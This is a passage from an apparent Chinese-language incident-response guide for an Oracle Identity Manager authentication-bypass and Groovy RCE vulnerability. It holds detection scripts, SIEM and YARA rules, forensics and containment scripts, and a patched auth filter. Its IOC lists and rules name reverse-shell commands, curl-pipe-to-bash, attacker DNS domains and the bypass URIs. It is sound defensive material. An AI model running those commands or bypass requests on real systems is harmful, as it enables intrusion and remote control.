echo "建议: 继续监控并验证告警" >> "$OUTPUT_DIR/SUMMARY_REPORT.txt"
else
echo "风险等级: 低 (未检测到明显入侵指标)" >> "$OUTPUT_DIR/SUMMARY_REPORT.txt"
echo "建议: 保持正常监控" >> "$OUTPUT_DIR/SUMMARY_REPORT.txt"
fi
cat "$OUTPUT_DIR/SUMMARY_REPORT.txt"
echo ""
echo "========================================="
echo "威胁狩猎完成!"
echo "详细结果请查看: $OUTPUT_DIR/"
echo "========================================="
pkill -f monitor_oim_processes.sh
#### 10.2.3 文件完整性监控 (FIM)
**AIDE配置:**
```bash
# /etc/aide/aide.conf.d/70_oim
# OIM二进制文件
/u01/app/oracle/middleware/oim/server/bin R+sha256
# OIM库文件
/u01/app/oracle/middleware/oim/server/lib R+sha256
# OIM配置文件
/u01/app/oracle/config/domains/oim_domain/config R+sha256
# Web应用目录 (检测webshell)
/u01/app/oracle/middleware/oim/server/apps R+sha256
# 日志目录 (检测日志篡改)
/u01/app/oracle/config/domains/oim_domain/servers/oim_server1/logs R
# 临时目录 (检测恶意文件)
/tmp R
初始化和检查:
# 初始化数据库
sudo aideinit
# 执行检查
sudo aide --check
# 更新数据库
sudo aide --update
# 自动化检查 (cron)
echo "0 2 * * * root /usr/bin/aide --check | mail -s 'AIDE Report' [email protected]" | sudo tee -a /etc/crontab
关键日志文件:
# 服务器日志
/u01/app/oracle/config/domains/oim_domain/servers/oim_server1/logs/oim_server1.log
# 诊断日志
/u01/app/oracle/config/domains/oim_domain/servers/oim_server1/logs/oim_server1-diagnostic.log
# 访问日志
/u01/app/oracle/config/domains/oim_domain/servers/oim_server1/logs/access.log
# 审计日志
/u01/app/oracle/config/domains/oim_domain/servers/oim_server1/logs/auditlogs/OIM/audit.log
日志分析脚本:
#!/bin/bash
# analyze_oim_logs.sh
# 分析OIM日志查找CVE-2025-61757利用证据
echo "=========================================="
echo "CVE-2025-61757 OIM日志分析"
echo "开始时间: $(date)"
echo "=========================================="
echo ""
LOGS_DIR="/u01/app/oracle/config/domains/oim_domain/servers/oim_server1/logs"
ACCESS_LOG="$LOGS_DIR/access.log"
SERVER_LOG="$LOGS_DIR/oim_server1.log"
DIAG_LOG="$LOGS_DIR/oim_server1-diagnostic.log"
# 1. 检测认证绕过尝试
echo "[+] 检查认证绕过尝试 (;.wadl 和 ?WSDL)..."
echo ""
BYPASS_COUNT=$(grep -E ";\.wadl|\?WSDL" "$ACCESS_LOG" 2>/dev/null | wc -l)
if [ $BYPASS_COUNT -gt 0 ]; then
echo " [!] 发现 $BYPASS_COUNT 个可疑请求!"
echo ""
echo " 前10个可疑请求:"
grep -E ";\.wadl|\?WSDL" "$ACCESS_LOG" | head -10
echo ""
echo " 独特源IP:"
grep -E ";\.wadl|\?WSDL" "$ACCESS_LOG" | awk '{print $1}' | sort | uniq -c | sort -rn
echo ""
else
echo " [] 未发现绕过尝试"
echo ""
fi
# 2. 检测成功的绕过 (200响应)
echo "[+] 检查成功的认证绕过 (返回200)..."
echo ""
SUCCESS_BYPASS=$(grep -E ";\.wadl|\?WSDL" "$ACCESS_LOG" 2>/dev/null | grep " 200 " | wc -l)
if [ $SUCCESS_BYPASS -gt 0 ]; then
echo " [!!] 警告: 发现 $SUCCESS_BYPASS 个成功的绕过!"
grep -E ";\.wadl|\?WSDL" "$ACCESS_LOG" | grep " 200 " | head -10
echo ""
else
echo " [] 未发现成功的绕过"
echo ""
fi
# 3. 检测Groovy编译活动
echo "[+] 检查Groovy编译活动..."
echo ""
GROOVY_ACTIVITY=$(grep -i "groovyshell\|groovy.transform\|ASTTest" "$DIAG_LOG" 2>/dev/null | wc -l)
if [ $GROOVY_ACTIVITY -gt 0 ]; then
echo " [!] 发现 $GROOVY_ACTIVITY 条Groovy活动记录"
echo ""
echo " 可疑Groovy活动:"
grep -i "groovyshell\|groovy.transform\|ASTTest" "$DIAG_LOG" | tail -5
echo ""
else
echo " [] 未发现可疑Groovy活动"
echo ""
fi
# 4. 检测未认证的API访问
echo "[+] 检查未认证API访问..."
echo ""
UNAUTH_API=$(grep "/iam/governance/" "$ACCESS_LOG" 2>/dev/null | \
grep -v "Authorization:" | \
grep " 200 " | wc -l)
if [ $UNAUTH_API -gt 0 ]; then
echo " [!] 发现 $UNAUTH_API 个未认证但成功的API访问"
echo ""
else
echo " [] 未发现未认证API访问"
echo ""
fi
# 5. 检测错误和异常
echo "[+] 检查相关错误..."
echo ""
ERRORS=$(grep -i "error\|exception\|failed" "$SERVER_LOG" 2>/dev/null | \
grep -i "auth\|groovy\|rest" | wc -l)
if [ $ERRORS -gt 0 ]; then
echo " [!] 发现 $ERRORS 个相关错误"
grep -i "error\|exception\|failed" "$SERVER_LOG" | \
grep -i "auth\|groovy\|rest" | tail -5
echo ""
else
echo " [] 未发现明显错误"
echo ""
fi
# 6. 时间线分析
echo "[+] 攻击时间线分析..."
echo ""
if [ $BYPASS_COUNT -gt 0 ]; then
echo " 首次绕过尝试:"
grep -E ";\.wadl|\?WSDL" "$ACCESS_LOG" | head -1 | awk '{print $4, $5}'
echo " 最后绕过尝试:"
grep -E ";\.wadl|\?WSDL" "$ACCESS_LOG" | tail -1 | awk '{print $4, $5}'
echo ""
fi
# 生成摘要
echo "=========================================="
echo "分析摘要"
echo "=========================================="
echo "总绕过尝试: $BYPASS_COUNT"
echo "成功绕过: $SUCCESS_BYPASS"
echo "Groovy活动: $GROOVY_ACTIVITY"
echo "未认证API访问: $UNAUTH_API"
echo "相关错误: $ERRORS"
echo ""
if [ $SUCCESS_BYPASS -gt 0 ] || [ $GROOVY_ACTIVITY -gt 0 ]; then
echo "[!!] 结论: 疑似CVE-2025-61757利用活动"
echo "[!!] 建议立即进行事件响应调查"
else
echo "[] 结论: 未发现明显利用证据"
fi
echo ""
echo "完成时间: $(date)"
echo "=========================================="
Splunk查询:
# 查询1: 检测认证绕过尝试
index=web_logs sourcetype=access_combined host="oim-server*"
| search uri_path="*/iam/governance/*"
| search uri_path="*;.wadl" OR uri_path="*?WSDL"
| stats count by src_ip, uri_path, status, method
| sort -count
# 查询2: 检测成功的绕过
index=web_logs sourcetype=access_combined host="oim-server*"
| search uri_path="*/iam/governance/*"
| search (uri_path="*;.wadl" OR uri_path="*?WSDL") status=200
| table _time, src_ip, uri_path, status, bytes
| sort -_time
# 查询3: 检测Groovy RCE
index=app_logs sourcetype=oim_server host="oim-server*"
| search "GroovyShell" OR "groovy.transform" OR "ASTTest"
| rex field=_raw "user=(?<user>[^\s]+)"
| where user="null" OR user="anonymous" OR user=""
| table _time, user, _raw
| sort -_time
# 查询4: 关联认证绕过和进程创建
index=web_logs sourcetype=access_combined host="oim-server*"
(uri_path="*;.wadl" OR uri_path="*?WSDL") status=200
| join src_ip type=inner
[search index=linux_logs sourcetype=syslog host="oim-server*"
"bash" OR "nc" OR "wget" OR "curl"
| stats count by host]
| table _time, src_ip, uri_path, host
| sort -_time
# 查询5: 时间线可视化
index=web_logs sourcetype=access_combined host="oim-server*"
| search uri_path="*/iam/governance/*"
| search uri_path="*;.wadl" OR uri_path="*?WSDL"
| timechart span=1h count by src_ip
# 查询6: 攻击者画像
index=web_logs sourcetype=access_combined host="oim-server*"
| search uri_path="*;.wadl" OR uri_path="*?WSDL"
| stats count,
values(uri_path) as attempted_endpoints,
values(user_agent) as user_agents,
values(status) as status_codes,
earliest(_time) as first_attempt,
latest(_time) as last_attempt
by src_ip
| eval duration=last_attempt-first_attempt
| convert ctime(first_attempt), ctime(last_attempt)
| sort -count
ELK查询 (Elasticsearch DSL):
{
"query": {
"bool": {
"must": [
{
"match": {
"uri.path": "/iam/governance/"
}
},
{
"regexp": {
"uri.path": ".*;\\.(wadl|wsdl)|.*\\?(WSDL|wsdl)"
}
},
{
"range": {
"@timestamp": {
"gte": "now-24h"
}
}
}
]
}
},
"aggs": {
"攻击源IP": {
"terms": {
"field": "source.ip",
"size": 100
},
"aggs": {
"成功绕过": {
"filter": {
"term": {
"http.response.status_code": 200
}
}
}
}
},
"时间分布": {
"date_histogram": {
"field": "@timestamp",
"interval": "1h"
}
}
}
}
SIEM关联规则 (Sigma格式):
title: CVE-2025-61757 Oracle OIM Exploitation Chain
id: 2025-61757-001
status: stable
description: 检测CVE-2025-61757利用链: 认证绕过 + 进程创建
author: Security Team
date: 2025/11/28
modified: 2025/11/28
logsource:
category: proxy
product: web_proxy
detection:
selection_bypass:
cs-uri-query|contains:
- ';.wadl'
- '?WSDL'
cs-uri-stem|contains: '/iam/governance/'
sc-status: 200
selection_process:
EventID: 1 # Sysmon Process Creation
ParentImage|endswith: 'java'
CommandLine|contains:
- 'bash -i'
- '/dev/tcp/'
- 'nc -'
timeframe: 60s
condition: selection_bypass and selection_process
falsepositives:
- 合法的WADL/WSDL元数据请求 (应返回401,不是200)
- 运维脚本 (应有正常认证)
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1203
- cve.2025.61757
检查可疑用户创建:
-- 查询未认证创建的用户
SELECT
usr_login,
usr_first_name,
usr_last_name,
usr_email,
usr_create_date,
usr_created_by,
usr_status
FROM usr
WHERE usr_created_by IS NULL
OR usr_created_by = 'REST'
OR usr_created_by = 'ANONYMOUS'
ORDER BY usr_create_date DESC;
-- 查询最近创建的用户
SELECT
usr_login,
usr_create_date,
usr_created_by,
usr_status,
CASE
WHEN usr_created_by IS NULL THEN '可疑: 创建者为空'
WHEN usr_created_by = 'REST' THEN '可疑: REST API创建'
ELSE '正常'
END as risk_level
FROM usr
WHERE usr_create_date > SYSDATE - 30
ORDER BY usr_create_date DESC;
-- 检查权限提升
SELECT
u.usr_login,
g.ugp_name as role_name,
m.ugp_create_date as role_assigned_date,
u.usr_create_date as user_created_date,
(m.ugp_create_date - u.usr_create_date) * 24 * 60 as minutes_diff
FROM usr u
JOIN ugp m ON u.usr_key = m.ugp_usr_key
JOIN ugp g ON m.ugp_ugp_key = g.ugp_key
WHERE g.ugp_name LIKE '%Admin%'
AND m.ugp_create_date > SYSDATE - 30
AND (m.ugp_create_date - u.usr_create_date) * 24 * 60 < 5 -- 5分钟内
ORDER BY m.ugp_create_date DESC;
-- 检查批量操作
SELECT
usr_created_by,
COUNT(*) as user_count,
MIN(usr_create_date) as first_creation,
MAX(usr_create_date) as last_creation,
(MAX(usr_create_date) - MIN(usr_create_date)) * 24 * 60 as time_span_minutes
FROM usr
WHERE usr_create_date > SYSDATE - 7
GROUP BY usr_created_by
HAVING COUNT(*) > 10 -- 超过10个用户
ORDER BY user_count DESC;
设置数据库审计:
-- 启用审计
AUDIT SELECT, INSERT, UPDATE, DELETE ON DEV_OIM.USR BY ACCESS;
AUDIT SELECT, INSERT, UPDATE, DELETE ON DEV_OIM.UGP BY ACCESS;
-- 创建审计触发器
CREATE OR REPLACE TRIGGER usr_audit_trigger
AFTER INSERT OR UPDATE OR DELETE ON DEV_OIM.USR
FOR EACH ROW
DECLARE
v_action VARCHAR2(10);
v_user VARCHAR2(100);
BEGIN
v_user := NVL(SYS_CONTEXT('USERENV', 'SESSION_USER'), 'UNKNOWN');
IF INSERTING THEN
v_action := 'INSERT';
-- 检测可疑创建
IF :NEW.usr_created_by IS NULL OR :NEW.usr_created_by = 'REST' THEN
INSERT INTO oim_security_audit (
audit_time,
table_name,
action_type,
user_login,
db_user,
risk_level,
details
) VALUES (
SYSDATE,
'USR',
'SUSPICIOUS_INSERT',
:NEW.usr_login,
v_user,
'HIGH',
'User created without proper creator: ' || :NEW.usr_created_by
);
END IF;
ELSIF UPDATING THEN
v_action := 'UPDATE';
ELSIF DELETING THEN
v_action := 'DELETE';
END IF;
-- 记录所有操作
INSERT INTO oim_audit_log (
audit_time, table_name, action_type,
user_login, db_user
) VALUES (
SYSDATE, 'USR', v_action,
NVL(:NEW.usr_login, :OLD.usr_login), v_user
);
END;
/
-- 查看审计结果
SELECT
audit_time,
table_name,
action_type,
user_login,
db_user,
risk_level,
details
FROM oim_security_audit
WHERE risk_level = 'HIGH'
ORDER BY audit_time DESC;
HTTP请求特征:
# URI模式
/iam/governance/applicationmanagement/templates;.wadl
/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl
/identity/rest/v1/users;.wadl
/iam/governance/*;.wadl
/iam/governance/*?WSDL
# HTTP头部
User-Agent: python-requests/2.*
User-Agent: curl/*
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Content-Type: application/xml (发送到非XML端点)
Content-Length: 556 # 精确的载荷大小
# 响应特征
HTTP/1.1 200 OK (对;.wadl请求,应为401)
网络流量IOC:
# 源IP特征 (Shodan扫描器)
45.83.66.0/24
164.90.0.0/16
198.235.24.0/24
# 出站连接 (C2通信)
端口: 4444, 5555, 8080, 8888, 9999
协议: TCP
方向: OIM服务器 → 外部IP
# DNS查询 (DNS隧道/外泄)
*.attacker.com
*.burpcollaborator.net
*.dnslog.cn
文件系统IOC:
# 可疑文件
/tmp/shell.sh
/tmp/x.sh
/tmp/pwned.txt
/tmp/cve_2025_61757_poc.txt
/dev/shm/.hidden*
/var/tmp/.*
# Web Shell
/u01/app/oracle/middleware/oim/server/apps/oim.ear/console.war/cmd.jsp
/u01/app/oracle/middleware/oim/server/apps/oim.ear/console.war/shell.jsp
/u01/app/oracle/middleware/oim/server/apps/*/backdoor.*
# 持久化机制
/home/oracle/.ssh/authorized_keys (新增SSH密钥)
/etc/cron.d/* (新增定时任务)
/home/oracle/.bashrc (修改shell配置)
进程IOC:
# 可疑进程模式
bash -c 'bash -i >& /dev/tcp/*'
nc -lvnp 4444
python -c 'import socket...'
perl -e 'use Socket...'
sh -i
wget http://<外部IP>/*
curl http://<外部IP>/* | bash
# 父进程
PPID: <Java进程PID> (oracle.iam.platform.server)
User: oim / oracle
网络连接IOC:
# 建立的连接
netstat -antp | grep ESTABLISHED | grep java
# 可疑: 到非标准端口的外部连接
# 监听端口
netstat -antp | grep LISTEN | grep -E "4444|5555|8080|9999"
# 可疑: 非OIM标准端口的监听
# 具体示例
tcp 0 0 192.168.10.101:45678 203.0.113.50:4444 ESTABLISHED 12345/java
访问日志模式:
# 认证绕过成功
192.168.1.100 - - [28/Nov/2025:10:30:45 +0800] "GET /iam/governance/applicationmanagement/templates;.wadl HTTP/1.1" 200 1234 "-" "python-requests/2.28.0"
192.168.1.100 - - [28/Nov/2025:10:30:50 +0800] "POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl HTTP/1.1" 200 556 "-" "curl/7.68.0"
# 批量扫描
45.83.66.123 - - [28/Nov/2025:10:29:01 +0800] "GET /iam/governance/api;.wadl HTTP/1.1" 404 -
45.83.66.123 - - [28/Nov/2025:10:29:02 +0800] "GET /iam/governance/templates;.wadl HTTP/1.1" 200 -
45.83.66.123 - - [28/Nov/2025:10:29:03 +0800] "GET /identity/rest;.wadl HTTP/1.1" 200 -
应用日志模式:
# Groovy编译异常
<Nov 28, 2025 10:30:45 AM CST> <Warning> <oracle.iam> <BEA-000000> <GroovyShell compilation error: @groovy.transform.ASTTest>
# 未认证访问
<Nov 28, 2025 10:30:40 AM CST> <Info> <Security> <BEA-090506> <No authentication header found for URI: /iam/governance/applicationmanagement/templates;.wadl>
# 授权绕过
<Nov 28, 2025 10:30:41 AM CST> <Debug> <RestAuthFilter> <URI bypassed authentication: /iam/governance/applicationmanagement/templates;.wadl>
系统日志模式:
# 可疑进程创建
Nov 28 10:31:02 oim-server kernel: audit: type=1300 audit(1701137462.123:4567): arch=c000003e syscall=59 success=yes exit=0 a0=7fff1234 a1=7fff5678 a2=7fff9abc a3=0 items=2 ppid=12345 pid=12346 auid=190 uid=190 gid=190 euid=190 suid=190 fsuid=190 egid=190 sgid=190 fsgid=190 tty=(none) ses=4294967295 comm="bash" exe="/bin/bash" key="oim_suspicious_exec"
# 网络连接
Nov 28 10:31:05 oim-server kernel: [12345.678901] Netfilter: OUTBOUND: IN= OUT=eth0 SRC=192.168.10.101 DST=203.0.113.50 PROTO=TCP SPT=45678 DPT=4444
Groovy载荷检测:
rule CVE_2025_61757_Groovy_Payload {
meta:
description = "检测CVE-2025-61757 Groovy RCE载荷"
author = "Security Team"
date = "2025-11-28"
reference = "CVE-2025-61757"
severity = "critical"
strings:
$groovy_import = "@groovy.transform" nocase
$ast_test = "ASTTest" nocase
$runtime_exec = "Runtime.getRuntime().exec" nocase
$reverse_shell1 = "bash -i" nocase
$reverse_shell2 = "/dev/tcp/" nocase
$reverse_shell3 = "bash -c" nocase
condition:
($groovy_import and $ast_test and $runtime_exec) or
($groovy_import and $ast_test and any of ($reverse_shell*))
}
rule CVE_2025_61757_WebShell {
meta:
description = "检测CVE-2025-61757后门WebShell"
author = "Security Team"
date = "2025-11-28"
strings:
$jsp_runtime = "Runtime.getRuntime()" nocase
$jsp_exec = ".exec(request.getParameter" nocase
$jsp_cmd = "ProcessBuilder" nocase
$suspicious_import1 = "import java.io.*"
$suspicious_import2 = "import java.util.*"
condition:
all of ($jsp_*) or
(all of ($suspicious_import*) and $jsp_exec)
}
使用Yara扫描:
# 扫描Web应用目录
yara -r cve-2025-61757.yar /u01/app/oracle/middleware/oim/server/apps/
# 扫描临时目录
yara -r cve-2025-61757.yar /tmp/
# 扫描内存
sudo yara -r cve-2025-61757.yar /proc/$(pgrep -f oracle.iam)/mem
第10章总结:
本章提供了CVE-2025-61757的全面检测方法体系,涵盖网络、主机、应用和数据库四个层面:
检测层次:
网络层: Snort/Suricata规则 + Zeek脚本实时检测
主机层: Auditd规则 + 进程监控 + 文件完整性监控
应用层: 日志分析 + SIEM集成 + 数据库审计
威胁情报: IOC库 + Yara规则
关键检测点:
认证绕过:;.wadl和?WSDL模式
Groovy RCE:@groovy.transform.ASTTest载荷
后利用: 反向Shell、进程创建、文件修改
数据库异常: 未认证用户创建、权限提升
实施建议:
部署多层检测机制 (纵深防御)
集成到现有SIEM平台
建立基线并监控偏差
定期审查和更新检测规则
自动化响应流程
第一步: 网络隔离 (T+0分钟)
# 方案1: 防火墙阻断 (推荐)
# 仅允许已知管理IP访问OIM
# iptables (Linux)
sudo iptables -I INPUT -p tcp --dport 14000 -s 192.168.10.0/24 -j ACCEPT
sudo iptables -I INPUT -p tcp --dport 14000 -j DROP
sudo iptables -I INPUT -p tcp --dport 7001 -s 192.168.10.0/24 -j ACCEPT
sudo iptables -I INPUT -p tcp --dport 7001 -j DROP
# 保存规则
sudo iptables-save > /etc/iptables/rules.v4
# Windows防火墙
netsh advfirewall firewall add rule name="Block OIM External" dir=in action=block protocol=TCP localport=14000 remoteip=0.0.0.0-192.168.9.255,192.168.11.0-255.255.255.255
# 方案2: 临时关闭OIM REST API (激进措施)
# 编辑web.xml禁用REST端点
cd /u01/app/oracle/config/domains/oim_domain/servers/oim_server1/tmp/_WL_user/oim_11.1.1.3.0
# 备份并修改web.xml,注释掉REST servlet配置
# 方案3: 完全停止OIM服务 (最后手段)
cd /u01/app/oracle/config/domains/oim_domain/bin
./stopManagedWebLogic.sh oim_server1
第二步: 流量监控 (T+5分钟)
# 启用详细日志
cd /u01/app/oracle/config/domains/oim_domain/servers/oim_server1
# 提升日志级别
cat >> logs/oim_server1.log << 'LOGCONF'
oracle.iam=TRACE:32
oracle.iam.rest=TRACE:32
LOGCONF
# 启动流量捕获
sudo tcpdump -i eth0 -w /tmp/oim_traffic_$(date +%Y%m%d_%H%M%S).pcap \
'port 14000 or port 7001' &
# 实时监控访问日志
tail -f logs/access.log | grep -E ";\.wadl|\?WSDL" --color=always
取证数据收集脚本:
#!/bin/bash
# oim_forensics.sh
# CVE-2025-61757 取证数据收集
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
FORENSICS_DIR="/forensics/cve-2025-61757_$TIMESTAMP"
echo "[*] 创建取证目录: $FORENSICS_DIR"
mkdir -p "$FORENSICS_DIR"/{logs,config,network,memory,filesystem}
echo "[*] 收集系统信息..."
# 系统快照
uname -a > "$FORENSICS_DIR/system_info.txt"
date >> "$FORENSICS_DIR/system_info.txt"
uptime >> "$FORENSICS_DIR/system_info.txt"
# 网络连接
echo "[*] 捕获网络连接..."
netstat -antp > "$FORENSICS_DIR/network/netstat.txt"
ss -antp > "$FORENSICS_DIR/network/ss.txt"
iptables -L -n -v > "$FORENSICS_DIR/network/iptables.txt"
# 进程列表
echo "[*] 捕获进程信息..."
ps auxf > "$FORENSICS_DIR/processes.txt"
pstree -p > "$FORENSICS_DIR/pstree.txt"
# OIM进程详情
OIM_PID=$(pgrep -f oracle.iam.platform)
if [ -n "$OIM_PID" ]; then
echo "[*] OIM进程PID: $OIM_PID"
lsof -p $OIM_PID > "$FORENSICS_DIR/oim_open_files.txt"
cat /proc/$OIM_PID/environ | tr '\0' '\n' > "$FORENSICS_DIR/oim_environment.txt"
cat /proc/$OIM_PID/cmdline | tr '\0' ' ' > "$FORENSICS_DIR/oim_cmdline.txt"
fi
# 收集日志
echo "[*] 收集OIM日志..."
cp -r /u01/app/oracle/config/domains/oim_domain/servers/oim_server1/logs/* \
"$FORENSICS_DIR/logs/" 2>/dev/null
# 系统日志
cp /var/log/messages "$FORENSICS_DIR/logs/" 2>/dev/null
cp /var/log/secure "$FORENSICS_DIR/logs/" 2>/dev/null
cp /var/log/audit/audit.log "$FORENSICS_DIR/logs/" 2>/dev/null
# 配置文件
echo "[*] 收集配置文件..."
cp -r /u01/app/oracle/config/domains/oim_domain/config \
"$FORENSICS_DIR/config/" 2>/dev/null
# 内存转储 (可选,耗时)
read -p "是否进行内存转储? (y/N): " -n 1 -r
echo
if [[ $REPLY =~ ^[Yy]$ ]]; then
echo "[*] 转储OIM进程内存 (这可能需要几分钟)..."
if [ -n "$OIM_PID" ]; then
gcore -o "$FORENSICS_DIR/memory/oim_core" $OIM_PID
fi
fi
# 文件系统快照
echo "[*] 检查可疑文件..."
find /tmp -type f -mtime -1 -ls > "$FORENSICS_DIR/filesystem/tmp_files.txt"
find /dev/shm -type f -ls > "$FORENSICS_DIR/filesystem/shm_files.txt"
find /u01/app/oracle/middleware/oim/server/apps -type f -name "*.jsp" -mtime -7 -ls > \
"$FORENSICS_DIR/filesystem/recent_jsp_files.txt"
# 计算文件哈希
echo "[*] 计算关键文件哈希..."
find /u01/app/oracle/middleware/oim -type f -name "*.jar" -o -name "*.war" | \
xargs md5sum > "$FORENSICS_DIR/filesystem/jar_war_hashes.txt"
# 压缩取证数据
echo "[*] 压缩取证数据..."
tar -czf "/forensics/oim_forensics_$TIMESTAMP.tar.gz" -C /forensics \
"cve-2025-61757_$TIMESTAMP"
echo "[+] 取证完成!"
echo "[+] 数据位置: /forensics/oim_forensics_$TIMESTAMP.tar.gz"
echo "[+] 大小: $(du -h /forensics/oim_forensics_$TIMESTAMP.tar.gz | cut -f1)"
识别并终止攻击会话:
#!/bin/bash
# contain_attack.sh
echo "[*] 分析活动连接..."
# 从访问日志提取攻击者IP
ATTACKERS=$(grep -E ";\.wadl|\?WSDL" \
/u01/app/oracle/config/domains/oim_domain/servers/oim_server1/logs/access.log | \
grep " 200 " | \
awk '{print $1}' | sort | uniq)
echo "[!] 发现以下攻击者IP:"
echo "$ATTACKERS"
# 阻止攻击者IP
for IP in $ATTACKERS; do
echo "[*] 阻止IP: $IP"
sudo iptables -I INPUT -s $IP -j DROP
# 终止现有连接
CONNECTIONS=$(netstat -antp | grep $IP | grep ESTABLISHED | \
awk '{print $7}' | cut -d'/' -f1)
for PID in $CONNECTIONS; do
echo " [*] 终止连接 PID: $PID"
sudo kill -9 $PID
done
done
# 查找可疑子进程并终止
OIM_PID=$(pgrep -f oracle.iam.platform)
if [ -n "$OIM_PID" ]; then
echo "[*] 检查OIM子进程 (PID: $OIM_PID)..."
SUSPICIOUS=$(pgrep -P $OIM_PID)
if [ -n "$SUSPICIOUS" ]; then
echo "[!] 发现可疑子进程:"
ps -p $SUSPICIOUS
read -p "是否终止这些进程? (y/N): " -n 1 -r
echo
if [[ $REPLY =~ ^[Yy]$ ]]; then
sudo kill -9 $SUSPICIOUS
echo "[+] 已终止可疑进程"
fi
fi
fi
# 检查后门账户
echo "[*] 检查最近创建的OIM账户..."
sqlplus -s DEV_OIM/Oracle123@OIMDB << 'SQLEOF'
SET PAGESIZE 100
SET LINESIZE 200
SELECT usr_login, usr_create_date, usr_created_by, usr_status
FROM usr
WHERE usr_create_date > SYSDATE - 7
AND (usr_created_by IS NULL OR usr_created_by = 'REST')
ORDER BY usr_create_date DESC;
EXIT;
SQLEOF
read -p "发现可疑账户,是否锁定? (y/N): " -n 1 -r
echo
if [[ $REPLY =~ ^[Yy]$ ]]; then
sqlplus -s DEV_OIM/Oracle123@OIMDB << 'SQLEOF'
UPDATE usr
SET usr_status = 'Locked'
WHERE usr_created_by IS NULL
OR usr_created_by = 'REST'
AND usr_create_date > SYSDATE - 7;
COMMIT;
EXIT;
SQLEOF
echo "[+] 已锁定可疑账户"
fi
echo "[+] 威胁遏制完成"
实施安全的认证过滤器:
// SecureOIMAuthFilter.java
package com.oracle.oim.security;
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.IOException;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Set;
import java.util.logging.Logger;
/**
* 安全的OIM认证过滤器
* 修复CVE-2025-61757认证绕过漏洞
*/
public class SecureOIMAuthFilter implements Filter {
private static final Logger LOGGER = Logger.getLogger(
SecureOIMAuthFilter.class.getName()
);
// 真正需要绕过认证的静态资源路径
private static final Set<String> PUBLIC_PATHS = new HashSet<>(Arrays.asList(
"/identity/faces/signin",
"/identity/faces/register",
"/public/",
"/css/",
"/js/",
"/images/"
));
// 允许的元数据文件 (仅静态文件,非API端点)
private static final Set<String> ALLOWED_METADATA = new HashSet<>(Arrays.asList(
"/META-INF/application.wadl",
"/META-INF/service.wsdl"
));
@Override
public void init(FilterConfig filterConfig) throws ServletException {
LOGGER.info("SecureOIMAuthFilter initialized");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest) request;
HttpServletResponse httpResponse = (HttpServletResponse) response;
// 获取规范化的URI
String requestURI = normalizeURI(httpRequest);
String remoteAddr = httpRequest.getRemoteAddr();
LOGGER.fine("Processing request: " + requestURI + " from " + remoteAddr);
// 1. 检查是否为公共资源
if (isPublicResource(requestURI)) {
LOGGER.fine("Public resource accessed: " + requestURI);
chain.doFilter(request, response);
return;
}
// 2. 检查是否为允许的元数据文件 (严格验证)
if (isAllowedMetadata(requestURI, httpRequest)) {
LOGGER.fine("Metadata file accessed: " + requestURI);
chain.doFilter(request, response);
return;
}
// 3. 验证认证
if (!isAuthenticated(httpRequest)) {
LOGGER.warning("Unauthorized access attempt: " + requestURI +
" from " + remoteAddr);
// 记录安全事件
logSecurityEvent(httpRequest, "UNAUTHORIZED_ACCESS");
httpResponse.sendError(
HttpServletResponse.SC_UNAUTHORIZED,
"认证失败: 需要有效的认证凭据"
);
return;
}
// 4. 验证授权
if (!isAuthorized(httpRequest, requestURI)) {
LOGGER.warning("Forbidden access attempt: " + requestURI +
" from " + remoteAddr);
logSecurityEvent(httpRequest, "FORBIDDEN_ACCESS");
httpResponse.sendError(
HttpServletResponse.SC_FORBIDDEN,
"授权失败: 没有访问此资源的权限"
);
return;
}
// 5. 通过所有检查,允许访问
LOGGER.fine("Authorized access: " + requestURI);
chain.doFilter(request, response);
}
/**
* 规范化URI - 移除路径参数和查询字符串
* 修复CVE-2025-61757的核心方法
*/
private String normalizeURI(HttpServletRequest request) {
// 使用getServletPath()而非getRequestURI()
// getServletPath()自动处理路径参数
String uri = request.getServletPath();
if (uri == null || uri.isEmpty()) {
uri = request.getRequestURI();
// 手动移除路径参数 (分号之后的内容)
int semicolonIndex = uri.indexOf(';');
if (semicolonIndex > 0) {
uri = uri.substring(0, semicolonIndex);
LOGGER.info("Path parameters removed from URI: " +
request.getRequestURI() + " -> " + uri);
}
// 移除查询字符串
int queryIndex = uri.indexOf('?');
if (queryIndex > 0) {
uri = uri.substring(0, queryIndex);
}
}
// URL解码和路径规范化
try {
uri = java.net.URLDecoder.decode(uri, "UTF-8");
uri = new java.io.File(uri).getCanonicalPath()
.replace('\\', '/');
} catch (Exception e) {
LOGGER.warning("URI normalization failed: " + e.getMessage());
}
return uri;
}
/**
* 检查是否为公共资源
*/
private boolean isPublicResource(String uri) {
for (String publicPath : PUBLIC_PATHS) {
if (uri.startsWith(publicPath)) {
return true;
}
}
return false;
}
/**
* 检查是否为允许的元数据文件 (严格验证)
*/
private boolean isAllowedMetadata(String uri, HttpServletRequest request) {
// 必须完全匹配,不允许路径遍历
if (!ALLOWED_METADATA.contains(uri)) {
return false;
}
// 验证文件实际存在且是静态文件
String realPath = request.getServletContext().getRealPath(uri);
if (realPath == null) {
return false;
}
java.io.File file = new java.io.File(realPath);
return file.exists() && file.isFile();
}
/**
* 验证认证 - 检查会话或认证头
*/
private boolean isAuthenticated(HttpServletRequest request) {
// 检查会话
HttpSession session = request.getSession(false);
if (session != null && session.getAttribute("authenticated") != null) {
return true;
}
// 检查Authorization头
String authHeader = request.getHeader("Authorization");
if (authHeader != null && authHeader.startsWith("Bearer ")) {
// 验证JWT token或其他认证令牌
return validateAuthToken(authHeader.substring(7));
}
// 检查Basic认证
if (authHeader != null && authHeader.startsWith("Basic ")) {
return validateBasicAuth(authHeader.substring(6));
}
return false;
}
/**
* 验证授权 - 检查用户是否有权访问资源
*/
private boolean isAuthorized(HttpServletRequest request, String uri) {
// 实现基于角色的访问控制 (RBAC)
HttpSession session = request.getSession(false);
if (session == null) {
return false;
}
Set<String> userRoles = (Set<String>) session.getAttribute("roles");
if (userRoles == null) {
return false;
}
// 检查URI是否需要特定角色
if (uri.startsWith("/iam/governance/")) {
